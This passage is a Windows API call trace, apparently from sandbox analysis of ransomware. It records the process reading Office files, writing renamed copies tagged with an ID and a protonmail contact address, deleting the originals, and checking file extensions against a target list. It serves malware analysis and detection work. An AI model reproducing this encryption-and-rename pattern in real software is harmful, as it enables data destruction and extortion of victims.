	[0184.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0184.071] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=14044) returned 1
	[0184.071] CloseHandle (hObject=0x5bc) returned 1
	[0184.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid")) returned 0x220
	[0184.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0184.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0184.072] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.072] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0184.073] GetLastError () returned 0x0
	[0184.073] ReadFile (in: hFile=0x5bc, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x36dc, lpOverlapped=0x0) returned 1
	[0184.077] WriteFile (in: hFile=0x5ac, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x36e0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x36e0, lpOverlapped=0x0) returned 1
	[0184.409] ReadFile (in: hFile=0x5bc, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.409] WriteFile (in: hFile=0x5ac, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.410] SetEndOfFile (hFile=0x5ac) returned 1
	[0184.410] CloseHandle (hObject=0x5ac) returned 1
	[0184.410] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.410] SetEndOfFile (hFile=0x5bc) returned 1
	[0184.415] CloseHandle (hObject=0x5bc) returned 1
	[0184.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0184.739] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid")) returned 1
	[0184.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0184.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0184.743] lstrlenW (lpString=".doc") returned 4
	[0184.743] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0184.743] lstrlenW (lpString=".docx") returned 5
	[0184.743] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0184.743] lstrlenW (lpString=".pdf") returned 4
	[0184.743] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0184.744] lstrlenW (lpString=".xls") returned 4
	[0184.744] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0184.744] lstrlenW (lpString=".xlsx") returned 5
	[0184.744] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0184.744] lstrlenW (lpString=".ppt") returned 4
	[0184.744] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0184.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0184.744] lstrlenW (lpString=".zip") returned 4
	[0184.744] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0184.744] lstrlenW (lpString=".rar") returned 4
	[0184.744] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0184.744] lstrlenW (lpString=".bz2") returned 4
	[0184.744] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0184.744] lstrlenW (lpString=".7z") returned 3
	[0184.744] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0184.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0184.744] lstrlenW (lpString=".dbf") returned 4
	[0184.744] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0184.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0184.744] lstrlenW (lpString=".1cd") returned 4
	[0184.744] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0184.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0184.745] lstrlenW (lpString=".jpg") returned 4
	[0184.745] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0184.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0184.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0184.745] lstrlenW (lpString=".doc") returned 4
	[0184.745] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0184.745] lstrlenW (lpString=".docx") returned 5
	[0184.745] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0184.745] lstrlenW (lpString=".pdf") returned 4
	[0184.745] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0184.745] lstrlenW (lpString=".xls") returned 4
	[0184.745] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0184.745] lstrlenW (lpString=".xlsx") returned 5
	[0184.745] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0184.745] lstrlenW (lpString=".ppt") returned 4
	[0184.745] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0184.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0184.745] lstrlenW (lpString=".zip") returned 4
	[0184.745] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0184.745] lstrlenW (lpString=".rar") returned 4
	[0184.746] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0184.746] lstrlenW (lpString=".bz2") returned 4
	[0184.746] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0184.746] lstrlenW (lpString=".7z") returned 3
	[0184.746] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0184.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0184.746] lstrlenW (lpString=".dbf") returned 4
	[0184.746] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0184.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0184.746] lstrlenW (lpString=".1cd") returned 4
	[0184.746] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0184.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0184.746] lstrlenW (lpString=".jpg") returned 4
	[0184.746] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0184.746] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1
	[0184.746] lstrlenW (lpString="Frosted Glass.eftx") returned 18
	[0184.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0184.874] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=334131) returned 1
	[0184.874] CloseHandle (hObject=0x4a8) returned 1
	[0184.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx")) returned 0x220
	[0184.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0184.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0184.875] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.875] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0184.879] GetLastError () returned 0x0
	[0184.879] ReadFile (in: hFile=0x4a8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x51933, lpOverlapped=0x0) returned 1
	[0184.892] WriteFile (in: hFile=0x5b4, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x51940, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x51940, lpOverlapped=0x0) returned 1
	[0184.997] ReadFile (in: hFile=0x4a8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.997] WriteFile (in: hFile=0x5b4, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0184.997] SetEndOfFile (hFile=0x5b4) returned 1
	[0184.997] CloseHandle (hObject=0x5b4) returned 1
	[0185.002] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.002] SetEndOfFile (hFile=0x4a8) returned 1
	[0185.053] CloseHandle (hObject=0x4a8) returned 1
	[0185.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0185.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx")) returned 1
	[0185.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0185.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0185.055] lstrlenW (lpString=".doc") returned 4
	[0185.055] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0185.056] lstrlenW (lpString=".docx") returned 5
	[0185.056] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0185.056] lstrlenW (lpString=".pdf") returned 4
	[0185.056] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0185.056] lstrlenW (lpString=".xls") returned 4
	[0185.056] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0185.056] lstrlenW (lpString=".xlsx") returned 5
	[0185.056] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0185.056] lstrlenW (lpString=".ppt") returned 4
	[0185.056] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0185.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0185.056] lstrlenW (lpString=".zip") returned 4
	[0185.056] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0185.056] lstrlenW (lpString=".rar") returned 4
	[0185.056] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0185.056] lstrlenW (lpString=".bz2") returned 4
	[0185.056] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0185.056] lstrlenW (lpString=".7z") returned 3
	[0185.056] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0185.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0185.056] lstrlenW (lpString=".dbf") returned 4
	[0185.056] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0185.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0185.056] lstrlenW (lpString=".1cd") returned 4
	[0185.057] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0185.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0185.057] lstrlenW (lpString=".jpg") returned 4
	[0185.057] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0185.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0185.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0185.057] lstrlenW (lpString=".doc") returned 4
	[0185.057] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0185.057] lstrlenW (lpString=".docx") returned 5
	[0185.057] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0185.057] lstrlenW (lpString=".pdf") returned 4
	[0185.057] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0185.057] lstrlenW (lpString=".xls") returned 4
	[0185.057] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0185.057] lstrlenW (lpString=".xlsx") returned 5
	[0185.057] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0185.057] lstrlenW (lpString=".ppt") returned 4
	[0185.057] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0185.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0185.057] lstrlenW (lpString=".zip") returned 4
	[0185.057] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0185.058] lstrlenW (lpString=".rar") returned 4
	[0185.058] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0185.058] lstrlenW (lpString=".bz2") returned 4
	[0185.058] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0185.058] lstrlenW (lpString=".7z") returned 3
	[0185.058] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0185.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0185.058] lstrlenW (lpString=".dbf") returned 4
	[0185.058] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0185.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0185.058] lstrlenW (lpString=".1cd") returned 4
	[0185.058] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0185.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90
	[0185.058] lstrlenW (lpString=".jpg") returned 4
	[0185.058] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0185.059] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1
	[0185.059] lstrlenW (lpString="Glow Edge.eftx") returned 14
	[0185.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0185.067] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=54347) returned 1
	[0185.067] CloseHandle (hObject=0x5b4) returned 1
	[0185.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx")) returned 0x220
	[0185.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0185.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0185.068] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.068] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0185.069] GetLastError () returned 0x0
	[0185.069] ReadFile (in: hFile=0x5b4, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0xd44b, lpOverlapped=0x0) returned 1
	[0185.078] WriteFile (in: hFile=0x554, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xd450, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xd450, lpOverlapped=0x0) returned 1
	[0185.081] ReadFile (in: hFile=0x5b4, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0185.081] WriteFile (in: hFile=0x554, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0xf0, lpOverlapped=0x0) returned 1
	[0185.082] SetEndOfFile (hFile=0x554) returned 1
	[0185.082] CloseHandle (hObject=0x554) returned 1
	[0185.082] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.082] SetEndOfFile (hFile=0x5b4) returned 1
	[0185.715] CloseHandle (hObject=0x5b4) returned 1
	[0185.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0185.716] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx")) returned 1
	[0185.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0185.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0185.717] lstrlenW (lpString=".doc") returned 4
	[0185.717] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0185.717] lstrlenW (lpString=".docx") returned 5
	[0185.717] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0185.717] lstrlenW (lpString=".pdf") returned 4
	[0185.717] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0185.717] lstrlenW (lpString=".xls") returned 4
	[0185.717] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0185.717] lstrlenW (lpString=".xlsx") returned 5
	[0185.717] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0185.717] lstrlenW (lpString=".ppt") returned 4
	[0185.717] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0185.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0185.717] lstrlenW (lpString=".zip") returned 4
	[0185.717] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0185.717] lstrlenW (lpString=".rar") returned 4
	[0185.717] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0185.717] lstrlenW (lpString=".bz2") returned 4
	[0185.717] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0185.718] lstrlenW (lpString=".7z") returned 3
	[0185.718] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0185.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0185.718] lstrlenW (lpString=".dbf") returned 4
	[0185.718] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0185.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0185.718] lstrlenW (lpString=".1cd") returned 4
	[0185.718] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0185.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0185.718] lstrlenW (lpString=".jpg") returned 4
	[0185.718] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0185.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0185.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0185.718] lstrlenW (lpString=".doc") returned 4
	[0185.718] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0185.718] lstrlenW (lpString=".docx") returned 5
	[0185.718] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0185.718] lstrlenW (lpString=".pdf") returned 4
	[0185.718] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0185.718] lstrlenW (lpString=".xls") returned 4
	[0185.718] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0185.718] lstrlenW (lpString=".xlsx") returned 5
	[0185.718] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0185.718] lstrlenW (lpString=".ppt") returned 4
	[0185.718] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0185.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0185.718] lstrlenW (lpString=".zip") returned 4
	[0185.718] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0185.719] lstrlenW (lpString=".rar") returned 4
	[0185.719] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0185.719] lstrlenW (lpString=".bz2") returned 4
	[0185.719] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0185.719] lstrlenW (lpString=".7z") returned 3
	[0185.719] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0185.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0185.719] lstrlenW (lpString=".dbf") returned 4
	[0185.719] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0185.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0185.719] lstrlenW (lpString=".1cd") returned 4
	[0185.719] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0185.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86
	[0185.719] lstrlenW (lpString=".jpg") returned 4
	[0185.719] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
